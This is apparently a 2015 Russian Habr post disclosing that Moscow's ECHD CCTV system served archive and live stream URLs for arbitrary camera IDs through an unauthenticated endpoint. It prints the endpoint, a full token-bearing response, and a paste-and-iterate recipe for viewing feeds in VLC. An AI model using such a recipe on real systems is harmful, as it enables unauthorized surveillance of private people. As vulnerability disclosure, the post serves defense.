[Из песочницы] Был получен несанкционированный доступ к более чем 20 000 камерам видео-наблюдения Москвы (теперь вы тоже)

Привет, Хабрахабр! Наверняка многие из вас помнят легендарный пост «Были получены исходники 3300 глобальных интернет-проектов», который долгое время был первым в рейтинге всех публикаций на сайте. Несмотря на схожий заголовок у моего поста, не претендую на первое место, но считаю, что вам стоит обратить внимание.f7d01304c09b47cb99d21c1dc3b801f8.jpgЭта история началась поздним вечером, когда я задержался на работе, чтобы доделать срочное задание, связанное с нашими партнерами из Амстердама. Закончив тестирование последнего модуля, я удовлетворенно откинулся в кресле и по привычке зашел проверить свою страницу в VK. В одном из моих пабликов я увидел фотографию с камеры наблюдения со служебными данными на ней. Заинтересовавшись этой фотографией, я обратился к автору изображения с просьбой получить доступ к данной камере.

На моё удивление, мне ответили. Мне сказали, что можно получить ссылку временного доступа, которая действует в течение недели и не позволяет управлять камерой и смотреть архив.

Ссылка:

obmen-video.echd.ru/embed/noauth/здесь_много_соли Будучи вдумчивым по своей природе, я заглянул в source и обнаружил следующее: window.APP_VERSION = '0.1'; window.BUILD_ID = 'public'; window.embeddedCamera = {«id»:******, «name»: «MMC_***; такой-то парк», «shortName»: «MMC_***», «address»: «такой-то адрес », «description»: null, «type»:{«id»:4, «color»:»0D0D0D»}, «cameraType»:4, «apiType»: «ECHD_CISCO_VSM», «fixed»: false, «status»:0, «lat»:»***», «lng»:»***»}; window.Request = {«id»:»4a6a19d5-ab03–4cb1–8fc4–281345c873f5», «innerId»:»******», «userId»:***, «ttl»:1422353451835}; // Mapped HTTP request (POST/GET params) Несложно догадаться, что используя следующий URL http://obmen-video.echd.ru/cameraManager/ajaxGetVideoUrls? id=666&_=1421929669467 Я получил следующий набор потоков: {»666»:{«archive»:{«control»:[«http://iStream4.echd.ru:7020/YERP5AYFE4YZQOBKUWPGCTT7YCOVF35H3KH35M5542D7VRRJZT2W7YEMSKK4ABMGWFKC6O6XRYHNPUYDZTXZ6IZ4K6K2D4Z32JVYHTZZMPPQLOQIXORE6SQ7VYXW56VAPXC6W7XEKRZRM47PZUOA3IC54IA2SQRM7UVZ5GRJLG5Z5QVU3MZD54L7Y3TUXKT37FEKQLGCTLIEXWT6BHTNWUIVWXMJ27PT4PSGWVQ/token-1422045167179-archive? rec», «http://iStream5.echd.ru:26020/HRKCYL6YERQKA75CNXRQXIMA5BTK3NHBJ5ZWYDNRQEOBPNXAAHHNGEVVJETU7YCFK3EX4SXPOV4MZV4×63ULMSFYGKMEH4VGPM5AGTMD2SLKYJBJJ3IPCL54IP6UEE3T7Y2M5WLHCIIDEU4L6SGIICY35JRUYPBV4TPHSOIONYI43SQ2FJHOCJIRYHVB6XL7VBWNBEN6TDNTLBSCLLF3I5BZQC3ZKKLSH6OTTVQ/token-1422045167179-archive? rec»], «shot»:{«control»:[«http://iStream4.echd.ru:7020/YERP5AYFE4YZQOBKUWPGCTT7YCOVF35H3KH35M5542D7VRRJZT2W7YEMSKK4ABMGWFKC6O6XRYHNPUYDZTXZ6IZ4K6K2D4Z32JVYHTZZMPPQLOQIXORE6SQ7VYXW56VAV6YN676UFMPOA5IAVYQRPTSGHYJRLEBV6BMZJLIIS6HEEV4HSTY3CQ6NSIVAQCKZH3VHGASAUT5CO/token-1422045167183-archiveSnapshot», «http://iStream5.echd.ru:26020/HRKCYL6YERQKA75CNXRQXIMA5BTK3NHBJ5ZWYDNRQEOBPNXAAHHNGEVVJETU7YCFK3EX4SXPOV4MZV4×63ULMSFYGKMEH4VGPM5AGTMD2SLKYJBJJ3IPCL54IP6UEE3TRT4ZAOLGKV3N773W4C77HX3OCGGKPPKK3PXJD33DIM2IXV7KB6RSS6W77H7EZOEUDHGJYBBHSDBUC/token-1422045167183-archiveSnapshot»], «url»:[«http://iStream4.echd.ru:7020/YERP5AYFE4YZQOBKUWPGCTT7YCOVF35H3KH35M5542D7VRRJZT2W7YEMSKK4ABMGWFKC6O6XRYHNPUYDZTXZ6IZ4K6K2D4Z32JVYHTZZMPPQLOQIXORE6SQ7VYXW56VAV6YN676UFMPOA5IAVYQRPTSGHYJRLEBV6BMZJLIIS6HEEV4HSTYTTINJRDZ2GL7WOO7SZ7ZPBCHYI/token-1422045167183-archiveSnapshot? shot», «http://iStream5.echd.ru:26020/HRKCYL6YERQKA75CNXRQXIMA5BTK3NHBJ5ZWYDNRQEOBPNXAAHHNGEVVJETU7YCFK3EX4SXPOV4MZV4×63ULMSFYGKMEH4VGPM5AGTMD2SLKYJBJJ3IPCL54IP6UEE3TRT4ZAOLGKV3N773W4C77HX3OCGGKPPKK3PXJD33DIM2IXV7KB6R2H6KF2MR6CEMATGWCCCTHISRR7FT2YTBP4YYIJ3OL2NO2H3HNFKA/token-1422045167183-archiveSnapshot? shot»]}, «url»:[«http://iStream4.echd.ru:7020/YERP5AYFE4YZQOBKUWPGCTT7YCOVF35H3KH35M5542D7VRRJZT2W7YEMSKK4ABMGWFKC6O6XRYHNPUYDZTXZ6IZ4K6K2D4Z32JVYHTZZMPPQLOQIXORE6SQ7VYXW56VAWITQRF3YOGFW4MY5G6HIXB4Q4BJWMEAUFWUSDRYIHMSSV7TIERGLPA6ZSKAH4PZBIWTHDGHUUZC7MN63V4EQVDG6ZG7WB3UJPLFPN2UMVPLN4FQQGMPK2LHN6DPZ7WWD/token-1422045167179-archive? recarchive», «http://iStream5.echd.ru:26020/HRKCYL6YERQKA75CNXRQXIMA5BTK3NHBJ5ZWYDNRQEOBPNXAAHHNGEVVJETU7YCFK3EX4SXPOV4MZV4×63ULMSFYGKMEH4VGPM5AGTMD2SLKYJBJJ3IPCL54IP6UEE3T63RJ6RODZTXZJFRMZSVUTHTK5UJRLEBV6BMZJLIIS6HEEV4HSTYSPCZMFZXP3LMKAHRSDZZ5COMCC2ITAXECLVW2LULL5TAEYY3U6H34HIN4ZH6WS55JQNX57IB3×6RY/token-1422045167179-archive? recarchive»]}, «live»:{«ios»:{«url»:[«http://iStream4.echd.ru:7020/YERP5AYFE4YZQOBKUWPGCTT7YCOVF35H3KH35M5542D7VRRJZT2W7YEMSKK4ABMGWFKC6O6XRYHNPKQWXTJMRZUUPCNKVNGWVT5MV3RZMPPQLOQIXORE6SQ7VYXW56VACWZDB6LQB7JO7MVPL4QBAM5LAFJWMEAUFWUSDRYIHMSSV7TIERGA2ISAPZHDCKR4FQWNRCYQB3XM4/token-1422045167167-live? m3u», «http://iStream5.echd.ru:26020/HRKCYL6YERQKA75CNXRQXIMA5BTK3NHBJ5ZWYDNRQEOBPNXAAHHNGEVVJETU7YCFK3EX4SXPOV4MYJ4M3MY7A76J3LAIAGQRVJ3QDHED2SLKYJBJJ3IPCL54IP6UEE3TV43JQYUDH6HFPFF5WDDH4HS2CEJRLEBV6BMZJLIIS6HEEV4HSTYQ47LXC65XYUJF2LA4ICOS7QXVY/token-1422045167167-live? m3u»]}, «shot»:{«url»:[«http://iStream4.echd.ru:7020/YERP5AYFE4YZQOBKUWPGCTT7YCOVF35H3KH35M5542D7VRRJZT2W7YEMSKK4ABMGWFKC6O6XRYHNPKQWXTJMRZUUPCNKVNGWVT5MV3RZMPPQLOQIXORE6SQ7VYXW56VACWZDB6LQB7JO7MVPL4QBAM5LAFJWMEAUFWUSDRYIHMSSV7TIERGA2ISAPZHDCKR4FQWNRCYQB3XM4/token-1422045167174-liveSnapshot? shot», «http://iStream5.echd.ru:26020/HRKCYL6YERQKA75CNXRQXIMA5BTK3NHBJ5ZWYDNRQEOBPNXAAHHNGEVVJETU7YCFK3EX4SXPOV4MYJ4M3MY7A76J3LAIAGQRVJ3QDHED2SLKYJBJJ3IPCL54IP6UEE3TV43JQYUDH6HFPFF5WDDH4HS2CEJRLEBV6BMZJLIIS6HEEV4HSTYQ47LXC65XYUJF2LA4ICOS7QXVY/token-1422045167174-liveSnapshot? shot»]}, «url»:[«http://iStream4.echd.ru:7020/YERP5AYFE4YZQOBKUWPGCTT7YCOVF35H3KH35M5542D7VRRJZT2W7YEMSKK4ABMGWFKC6O6XRYHNPKQWXTJMRZUUPCNKVNGWVT5MV3RZMPPQLOQIXORE6SQ7VYXW56VACWZDB6LQB7JO7MVPL4QBAM5LAFJWMEAUFWUSDRYIHMSSV7TIERGA2ISAPZHDCKR4FQWNRCYQB3XM4/token-1422045167167-live», «http://iStream5.echd.ru:26020/HRKCYL6YERQKA75CNXRQXIMA5BTK3NHBJ5ZWYDNRQEOBPNXAAHHNGEVVJETU7YCFK3EX4SXPOV4MYJ4M3MY7A76J3LAIAGQRVJ3QDHED2SLKYJBJJ3IPCL54IP6UEE3TV43JQYUDH6HFPFF5WDDH4HS2CEJRLEBV6BMZJLIIS6HEEV4HSTYQ47LXC65XYUJF2LA4ICOS7QXVY/token-1422045167167-live»]}, «version»:100}} Можно получить доступ к потоку камеры с произвольно выбранным айдишником. Первые потоки — это архивы камер, последняя — трансляция в реальном времени.Открыв URL любым плеером (VLC, например), мы можем увидеть следующее:

1f3489a8280944b68440f6e3b7da1717.png

Данная камера не очень показательная в плане качества изображения, но первоначальный поток MMC_ выдавал вполне приличную картинку с хорошим фреймрейтом.

Короче. Вставляете ссылку вида obmen-video.echd.ru/cameraManager/ajaxGetVideoUrls? id=ХХХ&_=1421929669467 в браузер (где ХХХ — произвольный айдишник, я пробовал числа от 50 до 20 000), получаете набор потоков, который можно вставить в медиаплеер на своём смартфоне и при должном упорстве вы можете увидеть себя, курящим у подъезда своего дома…

cb76c7050401472380925f97da108410.png

Как несложно догадаться, всё это принадлежит ЕЦХД (Единому Центру Хранения Данных) — я пытался связаться с ними по поводу уязвимости, но ответа так и не получил. Надеюсь, после этой публикации ошибку всё же исправят.

Спасибо за внимание.

© Habrahabr.ru